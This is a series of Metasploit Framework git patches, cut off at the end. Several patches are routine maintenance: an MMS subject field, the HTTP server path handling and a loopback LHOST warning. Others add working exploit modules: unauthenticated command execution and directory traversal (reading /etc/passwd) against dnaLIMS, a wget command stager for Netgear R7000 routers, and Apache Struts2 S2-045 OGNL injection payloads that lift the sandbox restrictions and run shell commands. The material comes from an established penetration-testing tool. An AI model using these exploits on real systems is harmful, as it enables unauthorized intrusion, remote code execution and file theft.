337/426] Support the subject field --- documentation/modules/auxiliary/client/mms/send_mms.md | 4 ++++ lib/msf/core/auxiliary/mms.rb | 10 +++++++--- lib/rex/proto/mms/client.rb | 3 ++- lib/rex/proto/mms/model/message.rb | 5 +++++ modules/auxiliary/client/mms/send_mms.rb | 2 +- spec/lib/rex/proto/mms/model/message_spec.rb | 6 ++++++ 6 files changed, 25 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md index ef760c74ad..4be2ef46d8 100644 --- a/documentation/modules/auxiliary/client/mms/send_mms.md +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -69,6 +69,10 @@ The password you use to log into the SMTP server. The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. +**MMSSUBJECT** + +The MMS subject. Some carriers require this in order to receive the text, such as AT&T. + ## Supported Carrier Gateways The module supports the following carriers: diff --git a/lib/msf/core/auxiliary/mms.rb b/lib/msf/core/auxiliary/mms.rb index 2a6af81696..d5c7d0a50e 100644 --- a/lib/msf/core/auxiliary/mms.rb +++ b/lib/msf/core/auxiliary/mms.rb @@ -17,6 +17,7 @@ module Msf [ OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']), OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']), + OptString.new('MMSSUBJECT', [false, 'The Email subject', '']), OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]), OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']), OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), @@ -43,22 +44,25 @@ module Msf # mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg') # # @param phone_numbers [Array] An array of numbers of try (of the same carrier) + # @param subject [String] MMS subject # @param message [String] The text to send. + # @param attachment_path [String] Optional + # @param ctype [String] Optional # # @return [void] - def send_mms(phone_numbers, message, attachment_path=nil, ctype=nil) + def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil) smtp = Rex::Proto::Mms::Model::Smtp.new( address: datastore['SMTPADDRESS'], port: datastore['SMTPPORT'], username: datastore['SMTPUSERNAME'], password: datastore['SMTPPASSWORD'], login_type: datastore['SmtpLoginType'].to_sym, - from: datastore['SMTPFROM'] + from: datastore['SMTPFROM'], ) carrier = datastore['MMSCARRIER'].to_sym mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp) - mms.send_mms_to_phones(phone_numbers, message, attachment_path, ctype) + mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype) end end diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb index 015e2cde91..ba06980b88 100644 --- a/lib/rex/proto/mms/client.rb +++ b/lib/rex/proto/mms/client.rb @@ -32,12 +32,13 @@ module Rex # Sends a media text to multiple recipients. # # @param phone_numbers [Array] An array of phone numbers. + # @param subject [String] MMS subject # @param message [String] The message to send. # @param attachment_path [String] (Optional) The attachment to include # @param ctype [String] (Optional) The content type to use for the attachment # # @return [void] - def send_mms_to_phones(phone_numbers, message, attachment_path=nil, ctype=nil) + def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil) carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier] recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } address = self.smtp_server.address diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index 204d64a451..9469b446c2 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -26,6 +26,10 @@ module Rex # @return [String] The to field in the email attr_accessor :to + # @!attribute subject + # @return [String] The subject of the email + attr_accessor :subject + # @!attribute attachment_name # @return [String] The attachment base name extracted from :attachment attr_accessor :attachment_name @@ -88,6 +92,7 @@ module Rex mms = "MIME-Version: 1.0\n" mms << "From: #{self.from}\n" mms << "To: #{self.to}\n" + mms << "Subject: #{self.subject}\n" mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n" mms << "\n" mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_") diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb index 3fd64eb896..f7b8f250ce 100644 --- a/modules/auxiliary/client/mms/send_mms.rb +++ b/modules/auxiliary/client/mms/send_mms.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary phone_numbers = datastore['CELLNUMBERS'].split print_status("Sending mms message to #{phone_numbers.length} number(s)...") begin - res = send_mms(phone_numbers, datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) + res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) print_status("Done.") rescue Rex::Proto::Mms::Exception => e print_error(e.message) diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb index 959f92815e..93f20cc426 100644 --- a/spec/lib/rex/proto/mms/model/message_spec.rb +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -9,6 +9,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do let(:filecontent) { 'file content' } let(:from) { 'sender@example.com' } let(:to) { 'receiver@example.com' } + let(:subject) { 'subject' } before(:each) do allow(File).to receive(:read).and_return(filecontent) @@ -18,6 +19,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do described_class.new( from: from, to: to, + subject: subject, message: message, content_type: content_type, attachment_path: attachment @@ -44,6 +46,10 @@ RSpec.describe Rex::Proto::Mms::Model::Message do it 'sets to' do expect(subject.to).to eq(to) end + + it 'sets subject' do + expect(subject.to).to receive(subject) + end end describe '#to_s' do From 702d1c2b7e5755c0f9c66b020906a23caa0e8b4a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 11:43:36 -0600 Subject: [PATCH 338/426] Fix bug for subject --- lib/rex/proto/mms/client.rb | 3 ++- lib/rex/proto/mms/model/message.rb | 1 + spec/lib/rex/proto/mms/client_spec.rb | 4 +++- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb index ba06980b88..e05b10cf51 100644 --- a/lib/rex/proto/mms/client.rb +++ b/lib/rex/proto/mms/client.rb @@ -60,7 +60,8 @@ module Rex content_type: ctype, attachment_path: attachment_path, from: from, - to: r + to: r, + subject: subject ) smtp.send_message(mms_message.to_s, from, r) end diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index 9469b446c2..2da3aa6f3b 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -49,6 +49,7 @@ module Rex self.from = opts[:from] self.to = opts[:to] self.message = opts[:message] + self.subject = opts[:subject] self.content_type = opts[:content_type] if opts[:attachment_path] self.attachment = load_file_to_base64(opts[:attachment_path]) diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb index dca9fbb4a9..256c66775f 100644 --- a/spec/lib/rex/proto/mms/client_spec.rb +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -12,6 +12,8 @@ RSpec.describe Rex::Proto::Mms::Client do let(:file_content) { 'content' } + let(:subject) { 'subject' } + let(:ctype) { 'ctype' } let(:carrier) { :verizon } @@ -52,7 +54,7 @@ RSpec.describe Rex::Proto::Mms::Client do end it 'sends an mms message' do - subject.send_mms_to_phones(phone_numbers, message, attachment, ctype) + subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype) expect(@sent_message).to include('MIME-Version: 1.0') end end From d6bc56d665ccfedd511f9c034146de87b5395efb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 11:49:19 -0600 Subject: [PATCH 339/426] Update doc --- documentation/modules/auxiliary/client/mms/send_mms.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md index 4be2ef46d8..f675585dd1 100644 --- a/documentation/modules/auxiliary/client/mms/send_mms.md +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -67,7 +67,8 @@ The password you use to log into the SMTP server. **SMTPFROM** -The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. +The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this +in order to receive the text, such as AT&T. **MMSSUBJECT** From 2a5815749ceebcdce2b8fd3048466651fa5ce8a2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Mar 2017 13:39:24 -0600 Subject: [PATCH 340/426] Update rspec --- spec/lib/rex/proto/mms/model/message_spec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb index 93f20cc426..61afbac436 100644 --- a/spec/lib/rex/proto/mms/model/message_spec.rb +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -9,7 +9,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do let(:filecontent) { 'file content' } let(:from) { 'sender@example.com' } let(:to) { 'receiver@example.com' } - let(:subject) { 'subject' } + let(:mms_subject) { 'subject' } before(:each) do allow(File).to receive(:read).and_return(filecontent) @@ -19,7 +19,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do described_class.new( from: from, to: to, - subject: subject, + subject: mms_subject, message: message, content_type: content_type, attachment_path: attachment @@ -48,7 +48,7 @@ RSpec.describe Rex::Proto::Mms::Model::Message do end it 'sets subject' do - expect(subject.to).to receive(subject) + expect(subject.subject).to eq(mms_subject) end end From 1a0b342e682394b9c0129a0da285d4f86f6cff33 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 9 Mar 2017 02:22:06 -0600 Subject: [PATCH 341/426] Add srvport to HttpServer This allows URIPORT to override SRVPORT. --- lib/msf/core/exploit/http/server.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 4876d78554..dd46bc28e2 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -490,6 +490,19 @@ module Exploit::Remote::HttpServer host end + # + # Returns the local port that is being listened on. + # + def srvport + if datastore['URIPORT'] + port = datastore['URIPORT'] + else + port = datastore['SRVPORT'] + end + + port + end + # # Removes a URI resource. # From 1a96fb03ae1e1c42a84c85d3499721c2e0c1cbbe Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 9 Mar 2017 02:33:02 -0600 Subject: [PATCH 342/426] Allow start_service to specify a resource This overrides URIPATH and random_uri if opts['Path'] is specified. --- lib/msf/core/exploit/http/server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index dd46bc28e2..14d77f7601 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -160,7 +160,7 @@ module Exploit::Remote::HttpServer filter_request_uri(cli, req) ) ? nil : on_request_uri(cli, req) }, - 'Path' => resource_uri + 'Path' => opts['Path'] || resource_uri }.update(opts['Uri'] || {}) proto = (datastore["SSL"] ? "https" : "http") From 081ca17ebf31bfb27d01d40b8d52d23de8ba1d24 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 9 Mar 2017 02:53:39 -0600 Subject: [PATCH 343/426] Specify default resource in start_service This eliminates the need to override resource_uri. Depends on #8078. --- modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index f32250d59c..218d39513d 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit return if check == CheckCode::Safe - @cmdstager = generate_cmdstager(flavor: :wget).join(';') + @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';') send_request_cgi( 'method' => 'GET', @@ -101,9 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote end end - # XXX: This is the only way to force this resource - def resource_uri - '/' - end - end From 95a01b9f5e878974b8c66c4e6b8684ae416652e4 Mon Sep 17 00:00:00 2001 From: flakey-biscuits Date: Thu, 9 Mar 2017 09:46:18 -0500 Subject: [PATCH 344/426] add dnaLIMS exploits --- .../exploits/linux/http/dnalims_admin_exec.rb | 109 ++++++++++++++++++ .../linux/http/dnalims_file_retrieve.rb | 84 ++++++++++++++ 2 files changed, 193 insertions(+) create mode 100644 modules/exploits/linux/http/dnalims_admin_exec.rb create mode 100644 modules/exploits/linux/http/dnalims_file_retrieve.rb diff --git a/modules/exploits/linux/http/dnalims_admin_exec.rb b/modules/exploits/linux/http/dnalims_admin_exec.rb new file mode 100644 index 0000000000..879ee29e30 --- /dev/null +++ b/modules/exploits/linux/http/dnalims_admin_exec.rb @@ -0,0 +1,109 @@ + + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'dnaLIMS Admin Module Command Execution', + 'Description' => %q{ + This module utilizes an administrative module which allows for + command execution. This page is completely unprotected from any + authentication when given a POST command. + }, + 'Author' => + [ + 'h00die ', # Discovery, PoC + 'flakey_biscuit' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2017-6526'] + ['US-CERT-VU', '929263'] + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Platform' => %w( linux unix ), + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'Compat' => + { + 'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there + } + }, + 'Targets' => + [ + [ 'Automatic Target', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 8 2017' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => 'perl -V' + } + ) + if res && res.body + if /Summary of/ =~ res.body + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + vprint_status('Sending Exploit') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => 'ls', + } + ) + vprint_good(res.body) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end + + diff --git a/modules/exploits/linux/http/dnalims_file_retrieve.rb b/modules/exploits/linux/http/dnalims_file_retrieve.rb new file mode 100644 index 0000000000..521fd71749 --- /dev/null +++ b/modules/exploits/linux/http/dnalims_file_retrieve.rb @@ -0,0 +1,84 @@ + + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DnaLIMS Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in dnaLIMS. + Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible + to read a file outside the www directory. + }, + 'References' => + [ + ['CVE', '2017-6527'] + ['US-CERT-VU', '929263'] + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Author' => + [ + 'h00die', # Discovery, PoC + 'flakey_biscuit' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "N/A" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']), + OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']), + OptInt.new('DEPTH', [true, 'The max traversal depth', 11]) + ], self.class) + + deregister_options('RHOST') + end + + + def run_host(ip) + file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}" + traverse = "../" * datastore['DEPTH'] + uri = normalize_uri(target_uri.path) + base = File.dirname("#{uri}/.") + + print_status("Requesting: #{file} - #{rhost}") + res = send_request_cgi({ + 'uri' => "#{base}/viewAppletFsa.cgi", + 'vars_get' => { 'secID' => "#{traverse}#{file}", + 'Action' => 'blast', + 'hidenav' => '1' + } + }) + + if not res + print_error("No response from server.") + return + end + + + if res.code != 200 + print_error("Server returned a non-200 response (body will not be saved):") + print_line(res.to_s) + return + end + + vprint_line(res.body) + p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file)) + print_good("File saved as: #{p}") + end + +end + + From 0ab3ad86ee9c17fc761548db668cd679036940ac Mon Sep 17 00:00:00 2001 From: flakey-biscuits Date: Thu, 9 Mar 2017 10:06:31 -0500 Subject: [PATCH 345/426] change dnalims_file_retrieve module type --- modules/exploits/linux/http/dnalims_file_retrieve.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/dnalims_file_retrieve.rb b/modules/exploits/linux/http/dnalims_file_retrieve.rb index 521fd71749..5429601ec8 100644 --- a/modules/exploits/linux/http/dnalims_file_retrieve.rb +++ b/modules/exploits/linux/http/dnalims_file_retrieve.rb @@ -7,7 +7,8 @@ require 'msf/core' -class MetasploitModule < Msf::Auxiliary +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary 'flakey_biscuit' # Discovery, PoC ], 'License' => MSF_LICENSE, - 'DisclosureDate' => "N/A" + 'DisclosureDate' => "Mar 8 2017" )) register_options( @@ -56,7 +57,7 @@ class MetasploitModule < Msf::Auxiliary print_status("Requesting: #{file} - #{rhost}") res = send_request_cgi({ 'uri' => "#{base}/viewAppletFsa.cgi", - 'vars_get' => { 'secID' => "#{traverse}#{file}", + 'vars_get' => { 'secID' => "#{traverse}#{file}", 'Action' => 'blast', 'hidenav' => '1' } From 2f55b5e00e011d8cbba3efe29003e70a7d5b217b Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 11:10:27 -0700 Subject: [PATCH 346/426] reconfigure lhost warn for loopback address --- lib/msf/core/handler/reverse.rb | 33 ++++++++++++++-------------- lib/msf/core/handler/reverse_http.rb | 18 ++++++++++++++- 2 files changed, 34 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index f9d093182d..31e0112657 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -48,17 +48,6 @@ module Msf addrs end - #Function to check for loopback addresses - def loopback_addr(addr) - begin - a=IPAddr.new(addr.to_s) - return true if - IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') ==a - rescue - end - false - end # @return [Integer] @@ -94,11 +83,23 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - #Checking whether LHOST is a loopback address - if loopback_addr(ip) ==true - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") - end - + #Checking whether LHOST is a loopback address + + #Function to check for loopback addresses + def is_loopback_address(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') == a + return true if IPAddr.new('::1') == a + rescue + end + return false + end + + if is_loopback_address(ip) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") + end + rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 2a2b6552a2..f5b33ceb59 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -356,6 +356,23 @@ protected print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...") + + # Checking whether LHOST is a loopback address + + def is_loopback_address(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') == a + return true if IPAddr.new('::1') == a + rescue + end + return false + end + + if is_loopback_address(uri.host) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?\n") + end + resp.body = blob # Short-circuit the payload's handle_connection processing for create_session @@ -419,4 +436,3 @@ end end end - From 274089a7f1fa3f497d96d5cab1efa7ee204ddaa0 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 11:33:27 -0700 Subject: [PATCH 347/426] cleanup for lhost loopback warn --- lib/msf/core/handler/reverse.rb | 10 +++++----- lib/msf/core/handler/reverse_http.rb | 4 ++-- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 31e0112657..5f9bdee8a0 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -83,20 +83,20 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - #Checking whether LHOST is a loopback address - #Function to check for loopback addresses + #Checking whether LHOST is a loopback address + def is_loopback_address(address) begin a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') == a - return true if IPAddr.new('::1') == a + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a rescue end return false end - if is_loopback_address(ip) + if is_loopback_address(ip) print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f5b33ceb59..dd82bf996d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -362,8 +362,8 @@ protected def is_loopback_address(address) begin a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') == a - return true if IPAddr.new('::1') == a + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a rescue end return false From e7b47865be9044acb1bb51162cf0d6b9e12b1987 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 12:23:02 -0700 Subject: [PATCH 348/426] ruby formatting fix --- lib/msf/core/handler/reverse_http.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index dd82bf996d..a02745e1a1 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -364,9 +364,9 @@ protected a = IPAddr.new(address.to_s) return true if IPAddr.new('127.0.0.1/8') === a return true if IPAddr.new('::1') === a - rescue + rescue end - return false + return false end if is_loopback_address(uri.host) From 40204703f020cfe9fc7e690b9b09c1c347e7c4fe Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 12:26:11 -0700 Subject: [PATCH 349/426] remove unnecessary newline --- lib/msf/core/handler/reverse.rb | 2 +- lib/msf/core/handler/reverse_http.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 5f9bdee8a0..b06f26ddda 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -97,7 +97,7 @@ module Msf end if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") end rescue diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index a02745e1a1..d2025c9f36 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -370,7 +370,7 @@ protected end if is_loopback_address(uri.host) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?\n") + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?") end resp.body = blob From 10018e2a32523aa7b163bd2d4770ba49f50f04a7 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 12:48:36 -0700 Subject: [PATCH 350/426] spacing fix in reverse.rb --- lib/msf/core/handler/reverse.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index b06f26ddda..39dced60c2 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -96,9 +96,9 @@ module Msf return false end - if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") - end + if is_loopback_address(ip) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") + end rescue ex = $! From d92ffe2d51b0d2c511c03a24b384bc86b236a5aa Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 9 Mar 2017 13:52:58 -0600 Subject: [PATCH 351/426] Grab the os.name when checking --- .../multi/http/struts2_code_exec_jakarta.rb | 21 ++++++++++++++----- .../exploits/multi/http/struts2_s2045_rce.rb | 14 ++++++++++++- 2 files changed, 29 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb index 4f20d71dbe..aaf155328e 100644 --- a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb +++ b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb @@ -87,11 +87,21 @@ class MetasploitModule < Msf::Exploit::Remote def check var_a = rand_text_alpha_lower(4) - var_b = rand_text_alpha_lower(4) - payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']" - payload << ".addHeader('#{var_a}', '#{var_b}')" - payload << "}.multipart/form-data" + payload = "" + payload << %q|%{| + payload << %q|(#_='multipart/form-data').| + payload << %q|(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).| + payload << %q|(#_memberAccess?| + payload << %q|(#_memberAccess=#dm):| + payload << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).| + payload << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).| + payload << %q|(#ognlUtil.getExcludedPackageNames().clear()).| + payload << %q|(#ognlUtil.getExcludedClasses().clear()).| + payload << %q|(#context.setMemberAccess(#dm)))).| + payload << %q|(#os=@java.lang.System@getProperty('os.name')).| + payload << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| + payload << %q|}| begin resp = send_http_request(payload) @@ -99,7 +109,8 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - if resp && resp.code == 200 && resp.headers[var_a] == var_b + if resp && resp.code == 200 && resp.headers[var_a] + print_good("Victim operating system: #{resp.headers[var_a]}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/struts2_s2045_rce.rb b/modules/exploits/multi/http/struts2_s2045_rce.rb index 5239aa0728..48215a693e 100644 --- a/modules/exploits/multi/http/struts2_s2045_rce.rb +++ b/modules/exploits/multi/http/struts2_s2045_rce.rb @@ -47,7 +47,19 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = {}) uri = normalize_uri( datastore['URI'] ) headers ={ - "Content-Type"=>"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new 